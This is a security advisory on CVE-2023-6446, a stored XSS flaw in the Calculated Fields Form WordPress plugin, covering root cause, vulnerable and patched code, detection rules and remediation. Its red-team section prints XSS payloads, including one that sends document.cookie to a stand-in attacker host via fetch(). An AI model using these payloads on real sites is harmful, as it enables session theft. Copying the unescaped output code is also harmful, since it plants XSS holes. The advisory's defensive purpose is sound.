CVE-2023-6446

Executive Summary

CVE-2023-6446 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Calculated Fields Form WordPress plugin, versions up to and including 1.2.40. The flaw resides in the plugin’s admin settings, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site WordPress installations or environments where the unfiltered_html capability has been disabled for administrators.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect the core WordPress application or web server software like Apache or Nginx. The attack surface is limited to the plugin’s administrative interface, requiring high privileges but posing a significant risk in multi-site deployments where administrators may have restricted HTML capabilities.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: Required (Victim must access the injected page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the requirement for administrator privileges reduces the immediate risk. However, in multi-site environments, a compromised administrator account can lead to persistent XSS affecting all users.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s admin settings page, where user-supplied input is stored and later rendered without proper sanitization or escaping. The plugin fails to neutralize HTML/JavaScript content before storing it in the database. When an administrator (or any user with access to the settings page) injects malicious script code, it is saved and executed in the context of any subsequent page load that includes the vulnerable setting.

Root Cause: The plugin uses add_settings_field() and register_setting() without implementing wp_kses() or similar sanitization functions. Output escaping functions like esc_html() or esc_attr() are also missing when rendering the stored values.

Attack Flow:

1. Attacker gains administrator access to a WordPress multi-site installation (or a site where unfiltered_html is disabled).
2. Attacker navigates to the Calculated Fields Form settings page.
3. Attacker injects a payload like <script>alert('XSS')</script> into a text field.
4. The payload is stored in the WordPress options table.
5. When any user (including lower-privileged users) visits a page that displays the setting, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2.40):

// In admin settings page
register_setting( 'cff_settings_group', 'cff_my_setting' );
// ...
echo '<input type="text" name="cff_my_setting" value="' . get_option( 'cff_my_setting' ) . '" />';

Patched Code (hypothetical fix):

// Sanitize on save
register_setting( 'cff_settings_group', 'cff_my_setting', 'sanitize_text_field' );
// Escape on output
echo '<input type="text" name="cff_my_setting" value="' . esc_attr( get_option( 'cff_my_setting' ) ) . '" />';

The vulnerable code directly outputs the stored option value without escaping, allowing stored XSS. The patched version uses sanitize_text_field on save and esc_attr on output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress multi-site installation or a site where unfiltered_html is disabled for administrators.
• Administrator-level credentials.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to Settings > Calculated Fields Form.
3. In any text input field (e.g., "Custom CSS"), inject the following payload:

   <script>alert(document.cookie)</script>
   

4. Click Save Changes.
5. The payload is now stored. Any user visiting a page that renders this setting will trigger the script.

Advanced Payload (steal admin session cookies):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to the wp_options table, specifically options prefixed with cff_.
• Look for HTTP requests to /wp-admin/options-general.php?page=cff_settings with suspicious POST data containing <script> tags.

Hardening:

• Ensure unfiltered_html is enabled for trusted administrators only.
• Apply the principle of least privilege; restrict administrator access to trusted users.
• Use a Web Application Firewall (WAF) to block XSS payloads in admin pages.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/calculated-fields-form/calculated-fields-form.php (version 1.2.40 or earlier)
• Database: wp_options table entries containing <script> tags in cff_* option names.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
• Logs: WordPress debug log entries showing unexpected HTML/JavaScript in option values.

Detection Engineering

YARA Rule

rule CVE_2023_6446_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Calculated Fields Form plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6446"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $cff_option = /cff_[a-z_]+/
    condition:
        $cff_option and $xss_payload
}

Sigma Rule

title: Stored XSS in Calculated Fields Form Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via admin settings in Calculated Fields Form plugin
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6446
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/options-general.php*'
        http.body: '*cff_*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6446 Stored XSS in Calculated Fields Form"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"cff_"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: If a patched version becomes available, update to the latest version immediately.
2. Disable the plugin: If no patch is available, consider disabling the Calculated Fields Form plugin until a fix is released.
3. Restrict admin access: Limit administrator accounts to only trusted users, especially on multi-site installations.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS detection rules.
• Enable unfiltered_html only for super administrators in multi-site networks.
• Regularly audit WordPress plugins for known vulnerabilities.
• Use security plugins like Wordfence or Sucuri to monitor for malicious activity.

Workaround:

• If the plugin cannot be disabled, manually sanitize the cff_* options in the database using a script:

  UPDATE wp_options SET option_value = '' WHERE option_name LIKE 'cff_%' AND option_value REGEXP '<script';
  

Valters IT
Securing Digital Frontiers